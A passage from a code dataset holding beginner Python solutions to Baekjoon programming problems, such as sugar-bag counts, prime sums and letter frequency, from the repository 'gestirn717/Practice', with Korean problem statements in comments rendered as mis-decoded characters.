3ํ‚ฌ๋กœ๊ทธ๋žจ ๋ด‰์ง€์™€ 5ํ‚ฌ๋กœ๊ทธ๋žจ ๋ด‰์ง€๊ฐ€ ์žˆ๋‹ค.\n\n# ์ƒ๊ทผ์ด๋Š” ๊ท€์ฐฎ๊ธฐ ๋•Œ๋ฌธ์—, ์ตœ๋Œ€ํ•œ ์ ์€ ๋ด‰์ง€๋ฅผ ๋“ค๊ณ  ๊ฐ€๋ ค๊ณ  ํ•œ๋‹ค. \n# ์˜ˆ๋ฅผ ๋“ค์–ด, 18ํ‚ฌ๋กœ๊ทธ๋žจ ์„คํƒ•์„ ๋ฐฐ๋‹ฌํ•ด์•ผ ํ•  ๋•Œ, 3ํ‚ฌ๋กœ๊ทธ๋žจ ๋ด‰์ง€ 6๊ฐœ๋ฅผ ๊ฐ€์ ธ๊ฐ€๋„ ๋˜์ง€๋งŒ, \n# 5ํ‚ฌ๋กœ๊ทธ๋žจ 3๊ฐœ์™€ 3ํ‚ฌ๋กœ๊ทธ๋žจ 1๊ฐœ๋ฅผ ๋ฐฐ๋‹ฌํ•˜๋ฉด, ๋” ์ ์€ ๊ฐœ์ˆ˜์˜ ๋ด‰์ง€๋ฅผ ๋ฐฐ๋‹ฌํ•  ์ˆ˜ ์žˆ๋‹ค.\n\n# ์ƒ๊ทผ์ด๊ฐ€ ์„คํƒ•์„ ์ •ํ™•ํ•˜๊ฒŒ Nํ‚ฌ๋กœ๊ทธ๋žจ ๋ฐฐ๋‹ฌํ•ด์•ผ ํ•  ๋•Œ, ๋ด‰์ง€ ๋ช‡ ๊ฐœ๋ฅผ ๊ฐ€์ ธ๊ฐ€๋ฉด ๋˜๋Š”์ง€ ๊ทธ ์ˆ˜๋ฅผ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— N์ด ์ฃผ์–ด์ง„๋‹ค. (3 โ‰ค N โ‰ค 5000)\n\n# ์ถœ๋ ฅ\n# ์ƒ๊ทผ์ด๊ฐ€ ๋ฐฐ๋‹ฌํ•˜๋Š” ๋ด‰์ง€์˜ ์ตœ์†Œ ๊ฐœ์ˆ˜๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค. ๋งŒ์•ฝ, ์ •ํ™•ํ•˜๊ฒŒ Nํ‚ฌ๋กœ๊ทธ๋žจ์„ ๋งŒ๋“ค ์ˆ˜ ์—†๋‹ค๋ฉด -1์„ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ \n# 18\n# ์˜ˆ์ œ ์ถœ๋ ฅ \n# 4\n\n# N = int(input())\n\n\n\n# #3์˜ ๋ฐฐ์ˆ˜์ผ๋•Œ\n# if N % 5 == 0: \n# print(N/5)\n \n# elif N % 3 == 0:\n# print(N/3)\n\n# elif N//\n \n# N = int(input())\n# c =0\n\n# while N % 5 :\n# N-=3\n# c+=1\n# print(-1 if N <0 else N//5+c)\n\n\nN = int(input())\nx = N//5 # x = N์„ 5๋กœ ๋‚˜๋ˆˆ ๋ชซ \ny = (N%5)//3 # \nxy = -1\n\nwhile x >= 0 :\n if 5*x + 3*y == N : \n xy = x + y\n break\n\n elif 5*x + 3*y > N : \n x-=1\n\n else :\n y += 1\n\n\nprint(xy)" }, { "alpha_fraction": 0.5325443744659424, "alphanum_fraction": 0.581360936164856, "avg_line_length": 16.35897445678711, "blob_id": "5e5cfb58331b3caff4ad53609d3e9f0d232e3ad1", "content_id": "de00b2746b5895f06eab2ad926061e2c0a4931ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1278, "license_type": "no_license", "max_line_length": 71, "num_lines": 39, "path": "/str/test_2908_str.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์ƒ๊ทผ์ด์˜ ๋™์ƒ ์ƒ์ˆ˜๋Š” ์ˆ˜ํ•™์„ ์ •๋ง ๋ชปํ•œ๋‹ค. ์ƒ์ˆ˜๋Š” ์ˆซ์ž๋ฅผ ์ฝ๋Š”๋ฐ ๋ฌธ์ œ๊ฐ€ ์žˆ๋‹ค. \n# ์ด๋ ‡๊ฒŒ ์ˆ˜ํ•™์„ ๋ชปํ•˜๋Š” ์ƒ์ˆ˜๋ฅผ ์œ„ํ•ด์„œ ์ƒ๊ทผ์ด๋Š” ์ˆ˜์˜ ํฌ๊ธฐ๋ฅผ ๋น„๊ตํ•˜๋Š” ๋ฌธ์ œ๋ฅผ ๋‚ด์ฃผ์—ˆ๋‹ค. \n# ์ƒ๊ทผ์ด๋Š” ์„ธ ์ž๋ฆฌ ์ˆ˜ ๋‘ ๊ฐœ๋ฅผ ์น ํŒ์— ์จ์ฃผ์—ˆ๋‹ค. ๊ทธ ๋‹ค์Œ์— ํฌ๊ธฐ๊ฐ€ ํฐ ์ˆ˜๋ฅผ ๋งํ•ด๋ณด๋ผ๊ณ  ํ–ˆ๋‹ค.\n\n# ์ƒ์ˆ˜๋Š” ์ˆ˜๋ฅผ ๋‹ค๋ฅธ ์‚ฌ๋žŒ๊ณผ ๋‹ค๋ฅด๊ฒŒ ๊ฑฐ๊พธ๋กœ ์ฝ๋Š”๋‹ค. \n# ์˜ˆ๋ฅผ ๋“ค์–ด, 734์™€ 893์„ ์น ํŒ์— ์ ์—ˆ๋‹ค๋ฉด, ์ƒ์ˆ˜๋Š” ์ด ์ˆ˜๋ฅผ 437๊ณผ 398๋กœ ์ฝ๋Š”๋‹ค. \n# ๋”ฐ๋ผ์„œ, ์ƒ์ˆ˜๋Š” ๋‘ ์ˆ˜์ค‘ ํฐ ์ˆ˜์ธ 437์„ ํฐ ์ˆ˜๋ผ๊ณ  ๋งํ•  ๊ฒƒ์ด๋‹ค.\n\n# ๋‘ ์ˆ˜๊ฐ€ ์ฃผ์–ด์กŒ์„ ๋•Œ, ์ƒ์ˆ˜์˜ ๋Œ€๋‹ต์„ ์ถœ๋ ฅํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ์ƒ๊ทผ์ด๊ฐ€ ์น ํŒ์— ์ ์€ ๋‘ ์ˆ˜ A์™€ B๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ๋‘ ์ˆ˜๋Š” ๊ฐ™์ง€ ์•Š์€ ์„ธ ์ž๋ฆฌ ์ˆ˜์ด๋ฉฐ, 0์ด ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์— ์ƒ์ˆ˜์˜ ๋Œ€๋‹ต์„ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์ž…๋ ฅ \n# 734 893\n\n# ์ถœ๋ ฅ \n# 437\n\n\n\n# 1. ๊ฐ ์ˆซ์ž๋ฅผ ๋ฆฌ์ŠคํŠธ๋กœ ์ €์žฅํ•ด์„œ ๊ฑฐ๊พธ๋กœ ์ฝ๊ธฐ \n# 2. ๋‘ ์ˆ˜๋ฅผ ๋น„๊ต\n# 3. ์ƒ์ˆ˜์˜ ๋Œ€๋‹ต์„ ์ถœ๋ ฅ \n# [ : : -1 ] ๋ฌธ์ž์—ด ๋’ค์—์„œ ๋ถ€ํ„ฐ ์ถœ๋ ฅ\n\nnum = list(map(int, input().split()))\n\na = str(num[0])[::-1]\nb = str(num[1])[::-1]\n\nif a > b :\n print(a)\nelse:\n print(b)" }, { "alpha_fraction": 0.4517669677734375, "alphanum_fraction": 0.520534873008728, "avg_line_length": 14.367647171020508, "blob_id": "431d4a866dd96bcb19edf896d297356bb91e8190", "content_id": "fbdfb9c4a8157c61b626a07987c5886cc4771eb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1555, "license_type": "no_license", "max_line_length": 118, "num_lines": 68, "path": "/test_2581_math2.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์ž์—ฐ์ˆ˜ M๊ณผ N์ด ์ฃผ์–ด์งˆ ๋•Œ M์ด์ƒ N์ดํ•˜์˜ ์ž์—ฐ์ˆ˜ ์ค‘ ์†Œ์ˆ˜์ธ ๊ฒƒ์„ ๋ชจ๋‘ ๊ณจ๋ผ ์ด๋“ค ์†Œ์ˆ˜์˜ ํ•ฉ๊ณผ ์ตœ์†Ÿ๊ฐ’์„ ์ฐพ๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์˜ˆ๋ฅผ ๋“ค์–ด M=60, N=100์ธ ๊ฒฝ์šฐ 60์ด์ƒ 100์ดํ•˜์˜ ์ž์—ฐ์ˆ˜ ์ค‘ ์†Œ์ˆ˜๋Š” 61, 67, 71, 73, 79, 83, 89, 97 ์ด 8๊ฐœ๊ฐ€ ์žˆ์œผ๋ฏ€๋กœ, ์ด๋“ค ์†Œ์ˆ˜์˜ ํ•ฉ์€ 620์ด๊ณ , ์ตœ์†Ÿ๊ฐ’์€ 61์ด ๋œ๋‹ค.\n\n# ์ž…๋ ฅ\n# ์ž…๋ ฅ์˜ ์ฒซ์งธ ์ค„์— M์ด, ๋‘˜์งธ ์ค„์— N์ด ์ฃผ์–ด์ง„๋‹ค.\n\n# M๊ณผ N์€ 10,000์ดํ•˜์˜ ์ž์—ฐ์ˆ˜์ด๋ฉฐ, M์€ N๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™๋‹ค.\n\n# ์ถœ๋ ฅ\n# M์ด์ƒ N์ดํ•˜์˜ ์ž์—ฐ์ˆ˜ ์ค‘ ์†Œ์ˆ˜์ธ ๊ฒƒ์„ ๋ชจ๋‘ ์ฐพ์•„ ์ฒซ์งธ ์ค„์— ๊ทธ ํ•ฉ์„, ๋‘˜์งธ ์ค„์— ๊ทธ ์ค‘ ์ตœ์†Ÿ๊ฐ’์„ ์ถœ๋ ฅํ•œ๋‹ค. \n\n# ๋‹จ, M์ด์ƒ N์ดํ•˜์˜ ์ž์—ฐ์ˆ˜ ์ค‘ ์†Œ์ˆ˜๊ฐ€ ์—†์„ ๊ฒฝ์šฐ๋Š” ์ฒซ์งธ ์ค„์— -1์„ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ \n# 60\n# 100\n\n# ์˜ˆ์ œ ์ถœ๋ ฅ \n# 620\n# 61\n\n# ์˜ˆ์ œ ์ž…๋ ฅ \n# 64\n# 65\n# ์˜ˆ์ œ ์ถœ๋ ฅ \n# -1\n\n\nimport sys\n\nm = int(sys.stdin.readline())\nn = int(sys.stdin.readline())\na_lst = []\n\n#2๋ฅผ ์ œ์™ธํ•œ 2์˜ ๋ฐฐ์ˆ˜ ๋ชจ๋‘ ์ œ์™ธ\nfor i in range(m, n+ 1):\n if i >1 and (i==2 or i%2 !=0):\n a_lst.append(i)\n\ncnt = len(a_lst)\ns = sum(a_lst)\nb_lst = []\n\n\n\n# i๋Š” a_lst์— ํฌํ•จ๋œ ์ˆซ์ž\n# j๋Š” i-1 ๊นŒ์ง€์˜ ์ˆซ์ž \n# i % j๊ฐ€ 0์ด ๋œ๋‹ค๋ฉด ์•ฝ์ˆ˜๊ฐ€ ์žˆ๋‹ค๋Š” ์˜๋ฏธ\n\nfor i in a_lst:\n a = 0\n for j in range(3,i,2): #ํ™€์ˆ˜ \n if i%j == 0:\n s -= i\n cnt -= 1\n a += 1\n break\n if a < 1:\n b_lst.append(i)\n\nif len(b_lst) == 0:\n print(-1)\n\nelse:\n print(s)\n print(b_lst[0])\n\n\n" }, { "alpha_fraction": 0.5223596692085266, "alphanum_fraction": 0.5509039163589478, "avg_line_length": 25.274999618530273, "blob_id": "7db39a0f0ec1e903f77c9f46ea118eadd09f51a6", "content_id": "04cb66cded48806654c9d19f554a5ba578b7a9b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1907, "license_type": "no_license", "max_line_length": 87, "num_lines": 40, "path": "/str/test_5622_str.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์ƒ๊ทผ์ด์˜ ํ• ๋จธ๋‹ˆ๋Š” ์•„๋ž˜ ๊ทธ๋ฆผ๊ณผ ๊ฐ™์ด ์˜ค๋ž˜๋œ ๋‹ค์ด์–ผ ์ „ํ™”๊ธฐ๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.\n\n# ์ „ํ™”๋ฅผ ๊ฑธ๊ณ  ์‹ถ์€ ๋ฒˆํ˜ธ๊ฐ€ ์žˆ๋‹ค๋ฉด, ์ˆซ์ž๋ฅผ ํ•˜๋‚˜๋ฅผ ๋ˆ„๋ฅธ ๋‹ค์Œ์— ๊ธˆ์† ํ•€์ด ์žˆ๋Š” ๊ณณ ๊นŒ์ง€ ์‹œ๊ณ„๋ฐฉํ–ฅ์œผ๋กœ ๋Œ๋ ค์•ผ ํ•œ๋‹ค. \n# ์ˆซ์ž๋ฅผ ํ•˜๋‚˜ ๋ˆ„๋ฅด๋ฉด ๋‹ค์ด์–ผ์ด ์ฒ˜์Œ ์œ„์น˜๋กœ ๋Œ์•„๊ฐ€๊ณ , ๋‹ค์Œ ์ˆซ์ž๋ฅผ ๋ˆ„๋ฅด๋ ค๋ฉด ๋‹ค์ด์–ผ์„ ์ฒ˜์Œ ์œ„์น˜์—์„œ ๋‹ค์‹œ ๋Œ๋ ค์•ผ ํ•œ๋‹ค.\n\n# ์ˆซ์ž 1์„ ๊ฑธ๋ ค๋ฉด ์ด 2์ดˆ๊ฐ€ ํ•„์š”ํ•˜๋‹ค. 1๋ณด๋‹ค ํฐ ์ˆ˜๋ฅผ ๊ฑฐ๋Š”๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์€ ์ด๋ณด๋‹ค ๋” ๊ฑธ๋ฆฌ๋ฉฐ, ํ•œ ์นธ ์˜†์— ์žˆ๋Š” ์ˆซ์ž๋ฅผ ๊ฑธ๊ธฐ ์œ„ํ•ด์„  1์ดˆ์”ฉ ๋” ๊ฑธ๋ฆฐ๋‹ค.\n\n# ์ƒ๊ทผ์ด์˜ ํ• ๋จธ๋‹ˆ๋Š” ์ „ํ™” ๋ฒˆํ˜ธ๋ฅผ ๊ฐ ์ˆซ์ž์— ํ•ด๋‹นํ•˜๋Š” ๋ฌธ์ž๋กœ ์™ธ์šด๋‹ค. \n# ์ฆ‰, ์–ด๋–ค ๋‹จ์–ด๋ฅผ ๊ฑธ ๋•Œ, ๊ฐ ์•ŒํŒŒ๋ฒณ์— ํ•ด๋‹นํ•˜๋Š” ์ˆซ์ž๋ฅผ ๊ฑธ๋ฉด ๋œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, UNUCIC๋Š” 868242์™€ ๊ฐ™๋‹ค.\n\n# ํ• ๋จธ๋‹ˆ๊ฐ€ ์™ธ์šด ๋‹จ์–ด๊ฐ€ ์ฃผ์–ด์กŒ์„ ๋•Œ, ์ด ์ „ํ™”๋ฅผ ๊ฑธ๊ธฐ ์œ„ํ•ด์„œ ํ•„์š”ํ•œ ์ตœ์†Œ ์‹œ๊ฐ„์„ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ์•ŒํŒŒ๋ฒณ ๋Œ€๋ฌธ์ž๋กœ ์ด๋ฃจ์–ด์ง„ ๋‹จ์–ด๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ๋‹จ์–ด์˜ ๊ธธ์ด๋Š” 2๋ณด๋‹ค ํฌ๊ฑฐ๋‚˜ ๊ฐ™๊ณ , 15๋ณด๋‹ค ์ž‘๊ฑฐ๋‚˜ ๊ฐ™๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์— ๋‹ค์ด์–ผ์„ ๊ฑธ๊ธฐ ์œ„ํ•ด์„œ ํ•„์š”ํ•œ ์ตœ์†Œ ์‹œ๊ฐ„์„ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ 1 ๋ณต์‚ฌ\n# WA\n# ์˜ˆ์ œ ์ถœ๋ ฅ 1 ๋ณต์‚ฌ\n# 13\n\n# 1=2์ดˆ 2=3์ดˆ 3=4์ดˆ / n= n+1์ดˆ\n# abc = 3์ดˆ / def = 4์ดˆ / ghi = 5์ดˆ / \n\n\n\nword = list(input())\nlst = [\"ABC\",\"DEF\",\"GHI\",\"JKL\",\"MNO\",\"PQRS\",\"TUV\",\"WXYZ\"]\ncnt = 0\n\n\n\nfor i in range(len(word)): # ์ž…๋ ฅ ๋ฐ›์€ ๋‹จ์–ด์˜ ๊ธธ์ด ์•ˆ์—์„œ ๋‚˜์—ด\n for j in lst: # ๋ฆฌ์ŠคํŠธ์— ๊ฐ ํ•ญ๋ชฉ๋“ค ์•ˆ์—์„œ \n if word[i] in j: # ๋ฆฌ์ŠคํŠธ ๊ฐ ํ•ญ๋ชฉ ์•ˆ์— ์ž‡๋Š” ์ž…๋ ฅ๋ฐ›์€ ๋‹จ์–ด์˜ ์ธ๋ฑ์Šค๊ฐ€ ์žˆ๋‹ค๋ฉด\n cnt += lst.index(j)+3 # ์นด์šดํ„ฐ + ( ํ•ด๋‹น ์ธ๋ฑ์Šค ๋ฒˆํ˜ธ + 3 ) \nprint(cnt)\n" }, { "alpha_fraction": 0.546012282371521, "alphanum_fraction": 0.5656441450119019, "avg_line_length": 17.11111068725586, "blob_id": "0bdd0e0edc560d3c6ac51a8e1b778dae56c81e4f", "content_id": "1f48872b202b962b85ec9c3be4de5e718374cfeb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1295, "license_type": "no_license", "max_line_length": 82, "num_lines": 45, "path": "/str/test_1157_str.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# ๋ฌธ์ œ\n# ์•ŒํŒŒ๋ฒณ ๋Œ€์†Œ๋ฌธ์ž๋กœ ๋œ ๋‹จ์–ด๊ฐ€ ์ฃผ์–ด์ง€๋ฉด, ์ด ๋‹จ์–ด์—์„œ ๊ฐ€์žฅ ๋งŽ์ด ์‚ฌ์šฉ๋œ ์•ŒํŒŒ๋ฒณ์ด ๋ฌด์—‡์ธ์ง€ ์•Œ์•„๋‚ด๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค. \n# ๋‹จ, ๋Œ€๋ฌธ์ž์™€ ์†Œ๋ฌธ์ž๋ฅผ ๊ตฌ๋ถ„ํ•˜์ง€ ์•Š๋Š”๋‹ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— ์•ŒํŒŒ๋ฒณ ๋Œ€์†Œ๋ฌธ์ž๋กœ ์ด๋ฃจ์–ด์ง„ ๋‹จ์–ด๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ์ฃผ์–ด์ง€๋Š” ๋‹จ์–ด์˜ ๊ธธ์ด๋Š” 1,000,000์„ ๋„˜์ง€ ์•Š๋Š”๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์— ์ด ๋‹จ์–ด์—์„œ ๊ฐ€์žฅ ๋งŽ์ด ์‚ฌ์šฉ๋œ ์•ŒํŒŒ๋ฒณ์„ ๋Œ€๋ฌธ์ž๋กœ ์ถœ๋ ฅํ•œ๋‹ค. ๋‹จ, ๊ฐ€์žฅ ๋งŽ์ด ์‚ฌ์šฉ๋œ ์•ŒํŒŒ๋ฒณ์ด ์—ฌ๋Ÿฌ ๊ฐœ ์กด์žฌํ•˜๋Š” ๊ฒฝ์šฐ์—๋Š” ?๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n\n# 1.๋ฌธ์ž ๋Œ€๋ฌธ์ž๋กœ ๋ฐ”๊พธ์„œ ์ž…๋ ฅ๋ฐ›๊ธฐ\n# 2.๋‹จ์–ด๋ฅผ ๋ฆฌ์ŠคํŠธ๋กœ ๋งŒ๋“ค์–ด์„œ ๊ฐ ๋ฌธ์ž๋ณ„๋กœ ๋ถ„๋ฆฌ์‹œ์ผœ\n# 3.๋ฆฌ์ŠคํŠธ๋ฅผ ๋งŒ๋“ค๊ณ  ๊ฐ ๋ฌธ์ž๋ณ„๋กœ ๋‚˜์˜จํšŸ์ˆ˜ ๋ฆฌ์ŠคํŠธ๋กœ ์ €์žฅ\n# 4.ํšŸ์ˆ˜๋Š” ์•„์Šคํ‚ค์ฝ”๋“œ ์ˆซ์ž ์ด์šฉ \n# 5.๋ฌธ์ž๋Š” chr๋กœ ๋ฐ›์Œ\n\nw = input().upper()\n\nlst = list(w)\n# print(lst)\na = []\nfor i in range(ord(\"A\"),ord(\"Z\")+1):\n\n a.append(lst.count(chr(i)))\n \nb = max(a)\n\nif a.count(b) == 1:\n print(chr(a.index(b)+ord(\"A\")))\nelse:\n print(\"?\")\n\n# w = list(input().upper())\n\n# a = []\n# for i in range(ord(\"A\"),ord(\"Z\")+1):\n# a.append(w.count(chr(i)))\n\n# b = max(a)\n\n# if a.count(b) == 1:\n# print(chr(a.index(b)+ord(\"A\")))\n# else:\n# print(\"?\")\n" }, { "alpha_fraction": 0.4375, "alphanum_fraction": 0.46875, "avg_line_length": 18, "blob_id": "05fa7354cefcdd9ce6c3415a85b6f3db7cab5a88", "content_id": "71135e4dacc9f7508bb1a7deb246540a9000afc4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 116, "license_type": "no_license", "max_line_length": 39, "num_lines": 5, "path": "/test2739_for.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "#์ˆซ์ž๋ฅผ ๋ฐ›์•„ ๊ตฌ๊ตฌ๋‹จ ์ถœ๋ ฅ\n\nn = int(input())\nfor i in range(1,10):\n print( \"%d * %d = %d\" %(n, i, n*i))\n\n" }, { "alpha_fraction": 0.5194552540779114, "alphanum_fraction": 0.6108949184417725, "avg_line_length": 13.685714721679688, "blob_id": "edc2f5ef01c96f5313f5fbb5edf3ed2196f8f73d", "content_id": "36f77974c9c2b71e72abd539a0ac2661ec12551e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 900, "license_type": "no_license", "max_line_length": 70, "num_lines": 35, "path": "/test_2562_arr.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "# 9๊ฐœ์˜ ์„œ๋กœ ๋‹ค๋ฅธ ์ž์—ฐ์ˆ˜๊ฐ€ ์ฃผ์–ด์งˆ ๋•Œ, ์ด๋“ค ์ค‘ ์ตœ๋Œ“๊ฐ’์„ ์ฐพ๊ณ  ๊ทธ ์ตœ๋Œ“๊ฐ’์ด ๋ช‡ ๋ฒˆ์งธ ์ˆ˜์ธ์ง€๋ฅผ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์˜ˆ๋ฅผ ๋“ค์–ด, ์„œ๋กœ ๋‹ค๋ฅธ 9๊ฐœ์˜ ์ž์—ฐ์ˆ˜\n\n# 3, 29, 38, 12, 57, 74, 40, 85, 61\n\n# ์ด ์ฃผ์–ด์ง€๋ฉด, ์ด๋“ค ์ค‘ ์ตœ๋Œ“๊ฐ’์€ 85์ด๊ณ , ์ด ๊ฐ’์€ 8๋ฒˆ์งธ ์ˆ˜์ด๋‹ค.\n\n# ์ฒซ์งธ ์ค„๋ถ€ํ„ฐ ์•„ํ™‰ ๋ฒˆ์งธ ์ค„๊นŒ์ง€ ํ•œ ์ค„์— ํ•˜๋‚˜์˜ ์ž์—ฐ์ˆ˜๊ฐ€ ์ฃผ์–ด์ง„๋‹ค. ์ฃผ์–ด์ง€๋Š” ์ž์—ฐ์ˆ˜๋Š” 100 ๋ณด๋‹ค ์ž‘๋‹ค\n# ์ฒซ์งธ ์ค„์— ์ตœ๋Œ“๊ฐ’์„ ์ถœ๋ ฅํ•˜๊ณ , ๋‘˜์งธ ์ค„์— ์ตœ๋Œ“๊ฐ’์ด ๋ช‡ ๋ฒˆ์งธ ์ˆ˜์ธ์ง€๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n#์ž…๋ ฅ\n# 3\n# 29\n# 38\n# 12\n# 57\n# 74\n# 40\n# 85\n# 61\n\n#์ถœ๋ ฅ\n# 85\n# 8\n\nn_list =[]\n\nfor i in range(9):\n n_list.append(int(input()))\n\nprint(max(n_list))\nprint(n_list.index(max(n_list))+1)\n\n#ํ•œ์ค„์— ์ˆซ์ž ํ•˜๋‚˜์”ฉ ๋ฐ›์œผ๋ ค๋ฉด ๋ฆฌ์ŠคํŠธ ํ™œ์šฉํ•ด์„œ for๋ฌธ์—์„œ ๋ฆฌ์ŠคํŠธ์— ๋ฐ”๋กœ ์ถ”๊ฐ€ํ•˜๋ฉด์„œ ์ž…๋ ฅ๋ฐ›์•„\n" }, { "alpha_fraction": 0.3826850652694702, "alphanum_fraction": 0.4742785394191742, "avg_line_length": 15.872340202331543, "blob_id": "d4bfc77a7b0d8787edf2811fb05ee4c0d29e8038", "content_id": "b666ec76f65b27c93226c72c60efe3e6779b80dd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1257, "license_type": "no_license", "max_line_length": 103, "num_lines": 47, "path": "/math1/test_1193_math.py", "repo_name": "gestirn717/Practice", "src_encoding": "UTF-8", "text": "\n\n# ๋ฌธ์ œ\n# ๋ฌดํ•œํžˆ ํฐ ๋ฐฐ์—ด์— ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ถ„์ˆ˜๋“ค์ด ์ ํ˜€์žˆ๋‹ค.\n\n# 1/1\t1/2\t1/3\t1/4\t1/5\tโ€ฆ\n# 2/1\t2/2\t2/3\t2/4\tโ€ฆ\tโ€ฆ\n# 3/1\t3/2\t3/3\tโ€ฆ\tโ€ฆ\tโ€ฆ\n# 4/1\t4/2\tโ€ฆ\tโ€ฆ\tโ€ฆ\tโ€ฆ\n# 5/1\tโ€ฆ\tโ€ฆ\tโ€ฆ\tโ€ฆ\tโ€ฆ\n# โ€ฆ\tโ€ฆ\tโ€ฆ\tโ€ฆ\tโ€ฆ\tโ€ฆ\n# ์ด์™€ ๊ฐ™์ด ๋‚˜์—ด๋œ ๋ถ„์ˆ˜๋“ค์„ 1/1 -> 1/2 -> 2/1 -> 3/1 -> 2/2 -> โ€ฆ ๊ณผ ๊ฐ™์€ ์ง€๊ทธ์žฌ๊ทธ ์ˆœ์„œ๋กœ ์ฐจ๋ก€๋Œ€๋กœ 1๋ฒˆ, 2๋ฒˆ, 3๋ฒˆ, 4๋ฒˆ, 5๋ฒˆ, โ€ฆ ๋ถ„์ˆ˜๋ผ๊ณ  ํ•˜์ž.\n\n# X๊ฐ€ ์ฃผ์–ด์กŒ์„ ๋•Œ, X๋ฒˆ์งธ ๋ถ„์ˆ˜๋ฅผ ๊ตฌํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ž‘์„ฑํ•˜์‹œ์˜ค.\n\n# ์ž…๋ ฅ\n# ์ฒซ์งธ ์ค„์— X(1 โ‰ค X โ‰ค 10,000,000)๊ฐ€ ์ฃผ์–ด์ง„๋‹ค.\n\n# ์ถœ๋ ฅ\n# ์ฒซ์งธ ์ค„์— ๋ถ„์ˆ˜๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.\n\n# ์˜ˆ์ œ ์ž…๋ ฅ 1 ๋ณต์‚ฌ\n# 14\n# ์˜ˆ์ œ ์ถœ๋ ฅ 1 ๋ณต์‚ฌ\n# 2/4\n\n# 1. ์ˆซ์ž ์ž…๋ ฅ ๋ฐ›๊ธฐ\n# 2. ๊ทธ๋ฃน์ง€์–ด์„œ ์ˆœ๋ฒˆ ๋งค๊ธฐ๊ธฐ / ๊ทธ๋ฃน์˜ ๋ฒˆํ˜ธ = ๊ทธ๋ฃน ๋ถ„์ˆ˜์˜ ๊ฐฏ์ˆ˜ \n# 3. ํ™€์ˆ˜ ๊ทธ๋ฃน , ์ง์ˆ˜ ๊ทธ๋ฃน ๋‚˜๋ˆ„์–ด์„œ ํŒจํ„ด ์•Œ์•„๋‚ด๊ธฐ\n# 4. ๋ถ„์ž, ๋ถ„๋ชจ ๋‚˜๋ˆ„์–ด์„œ ํŒจํ„ด ์•Œ์•„๋‚ด๊ธฐ\n\nn = int(input())\n\nnum = 0 #๋ˆ„์  ๋ถ„์ˆ˜ ๊ฐœ์ˆ˜\na = 0 #๊ทธ๋ฃน์˜ ์ˆœ๋ฒˆ, ๊ทธ๋ฃน์˜ ๋ถ„์ˆ˜์˜ ๊ฐœ์ˆ˜ \n\nwhile num < n:\n a += 1\n num += a\n\nif a % 2 != 0: #ํ™€์ˆ˜ ๊ทธ๋ฃน \n boonja = 1+num-n\n boonmo = a + n - num\n\nelif a % 2 == 0: #์ง์ˆ˜ ๊ทธ๋ฃน\n boonja = a + n - num\n boonmo = 1+num-n\n\nprint(\"%d/%d\"%(boonja,boonmo))\n\n\n" }, { "alpha_fraction": 0.5334261655807495, "alphanum_fraction": 0.5710306167602539, "avg_line_length": 18.29729652404785, "blob_id": "dd9e23692fcb2fd23f40c759205d303f696f6e15", "content_id": "276b5d56aaf95e7c80c041b704166c62bbe59a56", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": 